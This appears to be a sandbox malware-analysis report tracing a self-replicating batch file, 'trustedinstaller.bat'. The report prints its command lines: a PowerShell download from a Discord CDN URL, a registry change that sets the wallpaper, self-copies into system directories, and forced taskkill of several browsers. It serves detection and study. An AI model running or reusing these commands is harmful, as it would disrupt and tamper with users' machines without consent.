- Sets desktop wallpaper using registry
PID:2452
-
-
C:\Windows\system32\rundll32.exeRUNDLL32.EXE user32.dll,UpdatePerUserSystemParameters3⤵PID:2280
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /K "C:\BatchFile\trustedinstaller.bat"2⤵
- Drops file in System32 directory
- Drops file in Program Files directory
- Drops file in Windows directory
- Suspicious use of WriteProcessMemory
PID:3700 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command "(New-Object Net.WebClient).DownloadFile('https://cdn.discordapp.com/attachments/1210857012976680982/1265375003356958820/Untitled11_20240723222812.png?ex=66a147ce&is=669ff64e&hm=a5ecf1bc511891fb8e579dce5e1c76df281f970a2c4b3e920c861ca27b0b0ef7&', 'C:\Users\Admin\AppData\Local\Temp\wallpaper.png')"3⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:3384
-
-
C:\Windows\system32\reg.exereg add "HKCU\Control Panel\Desktop" /v Wallpaper /t REG_SZ /d "C:\Users\Admin\AppData\Local\Temp\wallpaper.png" /f3⤵
- Sets desktop wallpaper using registry
PID:3212
-
-
C:\Windows\system32\rundll32.exeRUNDLL32.EXE user32.dll,UpdatePerUserSystemParameters3⤵PID:3404
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /K "C:\Program Files\BatchFile\trustedinstaller.bat"3⤵PID:1832
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command "(New-Object Net.WebClient).DownloadFile('https://cdn.discordapp.com/attachments/1210857012976680982/1265375003356958820/Untitled11_20240723222812.png?ex=66a147ce&is=669ff64e&hm=a5ecf1bc511891fb8e579dce5e1c76df281f970a2c4b3e920c861ca27b0b0ef7&', 'C:\Users\Admin\AppData\Local\Temp\wallpaper.png')"4⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:1452
-
-
C:\Windows\system32\reg.exereg add "HKCU\Control Panel\Desktop" /v Wallpaper /t REG_SZ /d "C:\Users\Admin\AppData\Local\Temp\wallpaper.png" /f4⤵
- Sets desktop wallpaper using registry
PID:6120
-
-
C:\Windows\system32\rundll32.exeRUNDLL32.EXE user32.dll,UpdatePerUserSystemParameters4⤵PID:4952
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /K "C:\Windows\System32\trustedinstaller.bat"3⤵PID:4176
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command "(New-Object Net.WebClient).DownloadFile('https://cdn.discordapp.com/attachments/1210857012976680982/1265375003356958820/Untitled11_20240723222812.png?ex=66a147ce&is=669ff64e&hm=a5ecf1bc511891fb8e579dce5e1c76df281f970a2c4b3e920c861ca27b0b0ef7&', 'C:\Users\Admin\AppData\Local\Temp\wallpaper.png')"4⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:2312
-
-
C:\Windows\system32\reg.exereg add "HKCU\Control Panel\Desktop" /v Wallpaper /t REG_SZ /d "C:\Users\Admin\AppData\Local\Temp\wallpaper.png" /f4⤵
- Sets desktop wallpaper using registry
PID:3640
-
-
C:\Windows\system32\rundll32.exeRUNDLL32.EXE user32.dll,UpdatePerUserSystemParameters4⤵PID:5028
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /K "C:\BatchFile\trustedinstaller.bat"3⤵PID:2740
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command "(New-Object Net.WebClient).DownloadFile('https://cdn.discordapp.com/attachments/1210857012976680982/1265375003356958820/Untitled11_20240723222812.png?ex=66a147ce&is=669ff64e&hm=a5ecf1bc511891fb8e579dce5e1c76df281f970a2c4b3e920c861ca27b0b0ef7&', 'C:\Users\Admin\AppData\Local\Temp\wallpaper.png')"4⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious use of AdjustPrivilegeToken
PID:5396
-
-
C:\Windows\system32\reg.exereg add "HKCU\Control Panel\Desktop" /v Wallpaper /t REG_SZ /d "C:\Users\Admin\AppData\Local\Temp\wallpaper.png" /f4⤵
- Sets desktop wallpaper using registry
PID:5288
-
-
C:\Windows\system32\rundll32.exeRUNDLL32.EXE user32.dll,UpdatePerUserSystemParameters4⤵PID:2636
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /K "C:\PerfLogs\trustedinstaller.bat"3⤵PID:3124
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command "(New-Object Net.WebClient).DownloadFile('https://cdn.discordapp.com/attachments/1210857012976680982/1265375003356958820/Untitled11_20240723222812.png?ex=66a147ce&is=669ff64e&hm=a5ecf1bc511891fb8e579dce5e1c76df281f970a2c4b3e920c861ca27b0b0ef7&', 'C:\Users\Admin\AppData\Local\Temp\wallpaper.png')"4⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious use of AdjustPrivilegeToken
PID:5200
-
-
C:\Windows\system32\reg.exereg add "HKCU\Control Panel\Desktop" /v Wallpaper /t REG_SZ /d "C:\Users\Admin\AppData\Local\Temp\wallpaper.png" /f4⤵
- Sets desktop wallpaper using registry
PID:4400
-
-
C:\Windows\system32\rundll32.exeRUNDLL32.EXE user32.dll,UpdatePerUserSystemParameters4⤵PID:4292
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /K "C:\Windows\trustedinstaller.bat"3⤵PID:1600
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command "(New-Object Net.WebClient).DownloadFile('https://cdn.discordapp.com/attachments/1210857012976680982/1265375003356958820/Untitled11_20240723222812.png?ex=66a147ce&is=669ff64e&hm=a5ecf1bc511891fb8e579dce5e1c76df281f970a2c4b3e920c861ca27b0b0ef7&', 'C:\Users\Admin\AppData\Local\Temp\wallpaper.png')"4⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:1624
-
-
C:\Windows\system32\reg.exereg add "HKCU\Control Panel\Desktop" /v Wallpaper /t REG_SZ /d "C:\Users\Admin\AppData\Local\Temp\wallpaper.png" /f4⤵
- Sets desktop wallpaper using registry
PID:3556
-
-
C:\Windows\system32\rundll32.exeRUNDLL32.EXE user32.dll,UpdatePerUserSystemParameters4⤵PID:3168
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /K "C:\Users\trustedinstaller.bat"3⤵PID:1316
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command "(New-Object Net.WebClient).DownloadFile('https://cdn.discordapp.com/attachments/1210857012976680982/1265375003356958820/Untitled11_20240723222812.png?ex=66a147ce&is=669ff64e&hm=a5ecf1bc511891fb8e579dce5e1c76df281f970a2c4b3e920c861ca27b0b0ef7&', 'C:\Users\Admin\AppData\Local\Temp\wallpaper.png')"4⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:3744
-
-
C:\Windows\system32\reg.exereg add "HKCU\Control Panel\Desktop" /v Wallpaper /t REG_SZ /d "C:\Users\Admin\AppData\Local\Temp\wallpaper.png" /f4⤵
- Sets desktop wallpaper using registry
PID:5220
-
-
C:\Windows\system32\rundll32.exeRUNDLL32.EXE user32.dll,UpdatePerUserSystemParameters4⤵PID:4432
-
-
-
C:\Windows\system32\taskkill.exetaskkill /f /im "chrome.exe"3⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
PID:2308
-
-
C:\Windows\system32\taskkill.exetaskkill /f /im "firefox.exe"3⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
PID:4836
-
-
C:\Windows\system32\taskkill.exetaskkill /f /im "msedge.exe"3⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
PID:4712
-
-
C:\Windows\system32\taskkill.exetaskkill /f /im "opera.exe"3⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
PID:3496
-
-
C:\Windows\system32\taskkill.exetaskkill /f /im "brave.exe"3⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
PID:3500
-
-
C:\Windows\system32\taskkill.exetaskkill /f /im "vivaldi.exe"3⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
PID:5780
-
-
C:\Windows\system32\timeout.exetimeout /t 60 /nobreak3⤵
- Delays execution with timeout.exe
PID:5960
-
-
C:\Windows\system32\timeout.exetimeout /t 60 /nobreak3⤵
- Delays execution with timeout.exe
PID:5136
-
-
C:\Windows\system32\timeout.exetimeout /t 60 /nobreak3⤵
- Delays execution with timeout.exe
PID:4716
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /K "C:\PerfLogs\trustedinstaller.bat"2⤵
- Drops file in System32 directory
- Drops file in Program Files directory
- Drops file in Windows directory
- Suspicious use of WriteProcessMemory
PID:2920 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command "(New-Object Net.WebClient).DownloadFile('https://cdn.discordapp.com/attachments/1210857012976680982/1265375003356958820/Untitled11_20240723222812.png?ex=66a147ce&is=669ff64e&hm=a5ecf1bc511891fb8e579dce5e1c76df281f970a2c4b3e920c861ca27b0b0ef7&', 'C:\Users\Admin\AppData\Local\Temp\wallpaper.png')"3⤵
- Blocklisted process makes network request
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:1564
-
-
C:\Windows\system32\reg.exereg add "HKCU\Control Panel\Desktop" /v Wallpaper /t REG_SZ /d "C:\Users\Admin\AppData\Local\Temp\wallpaper.png" /f3⤵
- Sets desktop wallpaper using registry
PID:2188
-
-
C:\Windows\system32\rundll32.exeRUNDLL32.EXE user32.dll,UpdatePerUserSystemParameters3⤵PID:3168
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /K "C:\Program Files\BatchFile\trustedinstaller.bat"3⤵PID:2596
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command "(New-Object Net.WebClient).DownloadFile('https://cdn.discordapp.com/attachments/1210857012976680982/1265375003356958820/Untitled11_20240723222812.png?ex=66a147ce&is=669ff64e&hm=a5ecf1bc511891fb8e579dce5e1c76df281f970a2c4b3e920c861ca27b0b0ef7&', 'C:\Users\Admin\AppData\Local\Temp\wallpaper.png')"4⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious use of AdjustPrivilegeToken
PID:5208
-
-
C:\Windows\system32\reg.exereg add "HKCU\Control Panel\Desktop" /v Wallpaper /t REG_SZ /d "C:\Users\Admin\AppData\Local\Temp\wallpaper.png" /f4⤵
- Sets desktop wallpaper using registry
PID:2100
-
-
C:\Windows\system32\rundll32.exeRUNDLL32.EXE user32.dll,UpdatePerUserSystemParameters4⤵PID:4736
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /K "C:\Windows\System32\trustedinstaller.bat"3⤵PID:676
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command "(New-Object Net.WebClient).DownloadFile('https://cdn.discordapp.com/attachments/1210857012976680982/1265375003356958820/Untitled11_20240723222812.png?ex=66a147ce&is=669ff64e&hm=a5ecf1bc511891fb8e579dce5e1c76df281f970a2c4b3e920c861ca27b0b0ef7&', 'C:\Users\Admin\AppData\Local\Temp\wallpaper.png')"4⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious use of AdjustPrivilegeToken
PID:5512
-
-
C:\Windows\system32\reg.exereg add "HKCU\Control Panel\Desktop" /v Wallpaper /t REG_SZ /d "C:\Users\Admin\AppData\Local\Temp\wallpaper.png" /f4⤵
- Sets desktop wallpaper using registry
PID:4408
-
-
C:\Windows\system32\rundll32.exeRUNDLL32.EXE user32.dll,UpdatePerUserSystemParameters4⤵PID:3872
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /K "C:\BatchFile\trustedinstaller.bat"3⤵PID:3644
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command "(New-Object Net.WebClient).DownloadFile('https://cdn.discordapp.com/attachments/1210857012976680982/1265375003356958820/Untitled11_20240723222812.png?ex=66a147ce&is=669ff64e&hm=a5ecf1bc511891fb8e579dce5e1c76df281f970a2c4b3e920c861ca27b0b0ef7&', 'C:\Users\Admin\AppData\Local\Temp\wallpaper.png')"4⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious use of AdjustPrivilegeToken
PID:5224
-
-
C:\Windows\system32\reg.exereg add "HKCU\Control Panel\Desktop" /v Wallpaper /t REG_SZ /d "C:\Users\Admin\AppData\Local\Temp\wallpaper.png" /f4⤵
- Sets desktop wallpaper using registry
PID:4108
-
-
C:\Windows\system32\rundll32.exeRUNDLL32.EXE user32.dll,UpdatePerUserSystemParameters4⤵PID:5256
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /K "C:\PerfLogs\trustedinstaller.bat"3⤵PID:3432
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command "(New-Object Net.WebClient).DownloadFile('https://cdn.discordapp.com/attachments/1210857012976680982/1265375003356958820/Untitled11_20240723222812.png?ex=66a147ce&is=669ff64e&hm=a5ecf1bc511891fb8e579dce5e1c76df281f970a2c4b3e920c861ca27b0b0ef7&', 'C:\Users\Admin\AppData\Local\Temp\wallpaper.png')"4⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious use of AdjustPrivilegeToken
PID:5848
-
-
C:\Windows\system32\reg.exereg add "HKCU\Control Panel\Desktop" /v Wallpaper /t REG_SZ /d "C:\Users\Admin\AppData\Local\Temp\wallpaper.png" /f4⤵
- Sets desktop wallpaper using registry
PID:4928
-
-
C:\Windows\system32\rundll32.exeRUNDLL32.EXE user32.dll,UpdatePerUserSystemParameters4⤵PID:4308
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /K "C:\Windows\trustedinstaller.bat"3⤵PID:4212
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command "(New-Object Net.WebClient).DownloadFile('https://cdn.discordapp.com/attachments/1210857012976680982/1265375003356958820/Untitled11_20240723222812.png?ex=66a147ce&is=669ff64e&hm=a5ecf1bc511891fb8e579dce5e1c76df281f970a2c4b3e920c861ca27b0b0ef7&', 'C:\Users\Admin\AppData\Local\Temp\wallpaper.png')"4⤵
- Blocklisted process makes network request
- Command and Scripting Interpreter: PowerShell
- Suspicious use of AdjustPrivilegeToken
PID:5216
-
-
C:\Windows\system32\reg.exereg add "HKCU\Control Panel\Desktop" /v Wallpaper /t REG_SZ /d "C:\Users\Admin\AppData\Local\Temp\wallpaper.png" /f4⤵
- Sets desktop wallpaper using registry
PID:6112
-
-
C:\Windows\system32\rundll32.exeRUNDLL32.EXE user32.dll,UpdatePerUserSystemParameters4⤵PID:5392
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /K "C:\Users\trustedinstaller.bat"3⤵PID:4204
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command "(New-Object Net.WebClient).DownloadFile('https://cdn.discordapp.com/attachments/1210857012976680982/1265375003356958820/Untitled11_20240723222812.png?ex=66a147ce&is=669ff64e&hm=a5ecf1bc511891fb8e579dce5e1c76df281f970a2c4b3e920c861ca27b0b0ef7&', 'C:\Users\Admin\AppData\Local\Temp\wallpaper.png')"4⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious use of AdjustPrivilegeToken
PID:5528
-
-
C:\Windows\system32\reg.exereg add "HKCU\Control Panel\Desktop" /v Wallpaper /t REG_SZ /d "C:\Users\Admin\AppData\Local\Temp\wallpaper.png" /f4⤵
- Sets desktop wallpaper using registry
PID:1292
-
-
C:\Windows\system32\rundll32.exeRUNDLL32.EXE user32.dll,UpdatePerUserSystemParameters4⤵PID:1452
-
-
-
C:\Windows\system32\taskkill.exetaskkill /f /im "chrome.exe"3⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
PID:4236
-
-
C:\Windows\system32\taskkill.exetaskkill /f /im "firefox.exe"3⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
PID:3468
-
-
C:\Windows\system32\taskkill.exetaskkill /f /im "msedge.exe"3⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
PID:1540
-
-
C:\Windows\system32\taskkill.exetaskkill /f /im "opera.exe"3⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
PID:6052
-
-
C:\Windows\system32\taskkill.exetaskkill /f /im "brave.exe"3⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
PID:6076
-
-
C:\Windows\system32\taskkill.exetaskkill /f /im "vivaldi.exe"3⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
PID:5972
-
-
C:\Windows\system32\timeout.exetimeout /t 60 /nobreak3⤵
- Delays execution with timeout.exe
PID:2608
-
-
C:\Windows\system32\timeout.exetimeout /t 60 /nobreak3⤵
- Delays execution with timeout.exe
PID:924
-
-
C:\Windows\system32\timeout.exetimeout /t 60 /nobreak3⤵
- Delays execution with timeout.exe
PID:4376
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /K "C:\Windows\trustedinstaller.bat"2⤵
- Drops file in System32 directory
- Drops file in Program Files directory
- Suspicious use of WriteProcessMemory
PID:3160 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command "(New-Object Net.WebClient).DownloadFile('https://cdn.discordapp.com/attachments/1210857012976680982/1265375003356958820/Untitled11_20240723222812.png?ex=66a147ce&is=669ff64e&hm=a5ecf1bc511891fb8e579dce5e1c76df281f970a2c4b3e920c861ca27b0b0ef7&', 'C:\Users\Admin\AppData\Local\Temp\wallpaper.png')"3⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:2276
-
-
C:\Windows\system32\reg.exereg add "HKCU\Control Panel\Desktop" /v Wallpaper /t REG_SZ /d "C:\Users\Admin\AppData\Local\Temp\wallpaper.png" /f3⤵
- Sets desktop wallpaper using registry
PID:2628
-
-
C:\Windows\system32\rundll32.exeRUNDLL32.EXE user32.dll,UpdatePerUserSystemParameters3⤵PID:3568
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /K "C:\Program Files\BatchFile\trustedinstaller.bat"3⤵PID:2964
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command "(New-Object Net.WebClient).DownloadFile('https://cdn.discordapp.com/attachments/1210857012976680982/1265375003356958820/Untitled11_20240723222812.png?ex=66a147ce&is=669ff64e&hm=a5ecf1bc511891fb8e579dce5e1c76df281f970a2c4b3e920c861ca27b0b0ef7&', 'C:\Users\Admin\AppData\Local\Temp\wallpaper.png')"4⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:4480
-
-
C:\Windows\system32\reg.exereg add "HKCU\Control Panel\Desktop" /v Wallpaper /t REG_SZ /d "C:\Users\Admin\AppData\Local\Temp\wallpaper.png" /f4⤵
- Sets desktop wallpaper using registry
PID:5756
-
-
C:\Windows\system32\rundll32.exeRUNDLL32.EXE user32.dll,UpdatePerUserSystemParameters4⤵PID:3176
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /K "C:\Windows\System32\trustedinstaller.bat"3⤵PID:4784
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command "(New-Object Net.WebClient).DownloadFile('https://cdn.discordapp.com/attachments/1210857012976680982/1265375003356958820/Untitled11_20240723222812.png?ex=66a147ce&is=669ff64e&hm=a5ecf1bc511891fb8e579dce5e1c76df281f970a2c4b3e920c861ca27b0b0ef7&', 'C:\Users\Admin\AppData\Local\Temp\wallpaper.png')"4⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:3972
-
-
C:\Windows\system32\reg.exereg add "HKCU\Control Panel\Desktop" /v Wallpaper /t REG_SZ /d "C:\Users\Admin\AppData\Local\Temp\wallpaper.png" /f4⤵
- Sets desktop wallpaper using registry
PID:5732
-
-
C:\Windows\system32\rundll32.exeRUNDLL32.EXE user32.dll,UpdatePerUserSystemParameters4⤵PID:1084
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /K "C:\BatchFile\trustedinstaller.bat"3⤵PID:3276
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command "(New-Object Net.WebClient).DownloadFile('https://cdn.discordapp.com/attachments/1210857012976680982/1265375003356958820/Untitled11_20240723222812.png?ex=66a147ce&is=669ff64e&hm=a5ecf1bc511891fb8e579dce5e1c76df281f970a2c4b3e920c861ca27b0b0ef7&', 'C:\Users\Admin\AppData\Local\Temp\wallpaper.png')"4⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:4308
-
-
C:\Windows\system32\reg.exereg add "HKCU\Control Panel\Desktop" /v Wallpaper /t REG_SZ /d "C:\Users\Admin\AppData\Local\Temp\wallpaper.png" /f4⤵
- Sets desktop wallpaper using registry
PID:2768
-
-
C:\Windows\system32\rundll32.exeRUNDLL32.EXE user32.dll,UpdatePerUserSystemParameters4⤵PID:5216
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /K "C:\PerfLogs\trustedinstaller.bat"3⤵PID:2896
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command "(New-Object Net.WebClient).DownloadFile('https://cdn.discordapp.com/attachments/1210857012976680982/1265375003356958820/Untitled11_20240723222812.png?ex=66a147ce&is=669ff64e&hm=a5ecf1bc511891fb8e579dce5e1c76df281f970a2c4b3e920c861ca27b0b0ef7&', 'C:\Users\Admin\AppData\Local\Temp\wallpaper.png')"4⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious use of AdjustPrivilegeToken
PID:5332
-
-
C:\Windows\system32\reg.exereg add "HKCU\Control Panel\Desktop" /v Wallpaper /t REG_SZ /d "C:\Users\Admin\AppData\Local\Temp\wallpaper.png" /f4⤵
- Sets desktop wallpaper using registry
PID:5024
-
-
C:\Windows\system32\rundll32.exeRUNDLL32.EXE user32.dll,UpdatePerUserSystemParameters4⤵PID:5584
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /K "C:\Windows\trustedinstaller.bat"3⤵PID:3652
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command "(New-Object Net.WebClient).DownloadFile('https://cdn.discordapp.com/attachments/1210857012976680982/1265375003356958820/Untitled11_20240723222812.png?ex=66a147ce&is=669ff64e&hm=a5ecf1bc511891fb8e579dce5e1c76df281f970a2c4b3e920c861ca27b0b0ef7&', 'C:\Users\Admin\AppData\Local\Temp\wallpaper.png')"4⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:216
-
-
C:\Windows\system32\reg.exereg add "HKCU\Control Panel\Desktop" /v Wallpaper /t REG_SZ /d "C:\Users\Admin\AppData\Local\Temp\wallpaper.png" /f4⤵
- Sets desktop wallpaper using registry
PID:2468
-
-
C:\Windows\system32\rundll32.exeRUNDLL32.EXE user32.dll,UpdatePerUserSystemParameters4⤵PID:1296
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /K "C:\Users\trustedinstaller.bat"3⤵PID:4964
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command "(New-Object Net.WebClient).DownloadFile('https://cdn.discordapp.com/attachments/1210857012976680982/1265375003356958820/Untitled11_20240723222812.png?ex=66a147ce&is=669ff64e&hm=a5ecf1bc511891fb8e579dce5e1c76df281f970a2c4b3e920c861ca27b0b0ef7&', 'C:\Users\Admin\AppData\Local\Temp\wallpaper.png')"4⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:4172
-
-
C:\Windows\system32\reg.exereg add "HKCU\Control Panel\Desktop" /v Wallpaper /t REG_SZ /d "C:\Users\Admin\AppData\Local\Temp\wallpaper.png" /f4⤵
- Sets desktop wallpaper using registry
PID:5484
-
-
C:\Windows\system32\rundll32.exeRUNDLL32.EXE user32.dll,UpdatePerUserSystemParameters4⤵PID:6108
-
-
-
C:\Windows\system32\taskkill.exetaskkill /f /im "chrome.exe"3⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
PID:4864
-
-
C:\Windows\system32\taskkill.exetaskkill /f /im "firefox.exe"3⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
PID:5932
-
-
C:\Windows\system32\taskkill.exetaskkill /f /im "msedge.exe"3⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
PID:3048
-
-
C:\Windows\system32\taskkill.exetaskkill /f /im "opera.exe"3⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
PID:1824
-
-
C:\Windows\system32\taskkill.exetaskkill /f /im "brave.exe"3⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
PID:5984
-
-
C:\Windows\system32\taskkill.exetaskkill /f /im "vivaldi.exe"3⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
PID:5600
-
-
C:\Windows\system32\timeout.exetimeout /t 60 /nobreak3⤵
- Delays execution with timeout.exe
PID:5532
-
-
C:\Windows\system32\timeout.exetimeout /t 60 /nobreak3⤵
- Delays execution with timeout.exe
PID:2628
-
-
C:\Windows\system32\timeout.exetimeout /t 60 /nobreak3⤵
- Delays execution with timeout.exe
PID:2240
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /K "C:\Users\trustedinstaller.bat"2⤵
- Drops file in System32 directory
- Drops file in Program Files directory
- Drops file in Windows directory
- Suspicious use of WriteProcessMemory
PID:1120 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command "(New-Object Net.WebClient).DownloadFile('https://cdn.discordapp.com/attachments/1210857012976680982/1265375003356958820/Untitled11_20240723222812.png?ex=66a147ce&is=669ff64e&hm=a5ecf1bc511891fb8e579dce5e1c76df281f970a2c4b3e920c861ca27b0b0ef7&', 'C:\Users\Admin\AppData\Local\Temp\wallpaper.png')"3⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:1408
-
-
C:\Windows\system32\reg.exereg add "HKCU\Control Panel\Desktop" /v Wallpaper /t REG_SZ /d "C:\Users\Admin\AppData\Local\Temp\wallpaper.png" /f3⤵
- Sets desktop wallpaper using registry
PID:4332
-
-
C:\Windows\system32\rundll32.exeRUNDLL32.EXE user32.dll,UpdatePerUserSystemParameters3⤵PID:3340
-
-
-
C:\Windows\system32\taskkill.exetaskkill /f /im "chrome.exe"2⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
PID:1832
-
-
C:\Windows\system32\taskkill.exetaskkill /f /im "firefox.exe"2⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
PID:1128
-
-
C:\Windows\system32\taskkill.exetaskkill /f /im "msedge.exe"2⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
PID:5312
-
-
C:\Windows\system32\taskkill.exetaskkill /f /im "opera.exe"2⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
PID:5244
-
-
C:\Windows\system32\taskkill.exetaskkill /f /im "brave.exe"2⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
PID:5300
-
-
C:\Windows\system32\taskkill.exetaskkill /f /im "vivaldi.exe"2⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
PID:5084
-
-
C:\Windows\system32\timeout.exetimeout /t 60 /nobreak2⤵
- Delays execution with timeout.exe
PID:5480
-
-
C:\Windows\system32\timeout.exetimeout /t 60 /nobreak2⤵
- Delays execution with timeout.exe
PID:2232
-
-
C:\Windows\system32\timeout.exetimeout /t 60 /nobreak2⤵
- Delays execution with timeout.exe
PID:224
-
-
C:\Windows\System32\WaaSMedicAgent.exeC:\Windows\System32\WaaSMedicAgent.exe 468fb3b5cd290625c2c6947823a2b62b Y2Ob2QVAwU6uSA9mBklELg.0.1.0.0.01⤵PID:2276
-
C:\Windows\System32\Conhost.exe\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV12⤵PID:6112
-
Network
MITRE ATT&CK Enterprise v15
Replay Monitor
Loading Replay Monitor...
Downloads
-
Filesize
3KB
MD5a342c02d8b85d351af8871776fc67dd7
SHA14b7c7e5697cee05354f0902a3c40d35c7c892a7d
SHA2569802eda5439017e0b2fe42d53bbeac75176c52b4383e33d1a4cb445a00b16b8b
SHA5127ae1f71e87dc52c2dd640c025ca623304e28717119c52107163d905e8f17d6a20de243e6a1cf8f75ab9e797224b47eae199a669e209998620625b20c099657d5
-
Filesize
2KB
MD52f57fde6b33e89a63cf0dfdd6e60a351
SHA1445bf1b07223a04f8a159581a3d37d630273010f
SHA2563b0068d29ae4b20c447227fbf410aa2deedfef6220ccc3f698f3c7707c032c55
SHA51242857c5f111bfa163e9f4ea6b81a42233d0bbb0836ecc703ce7e8011b6f8a8eca761f39adc3ed026c9a2f99206d88bab9bddb42da9113e478a31a6382af5c220
-
Filesize
1KB
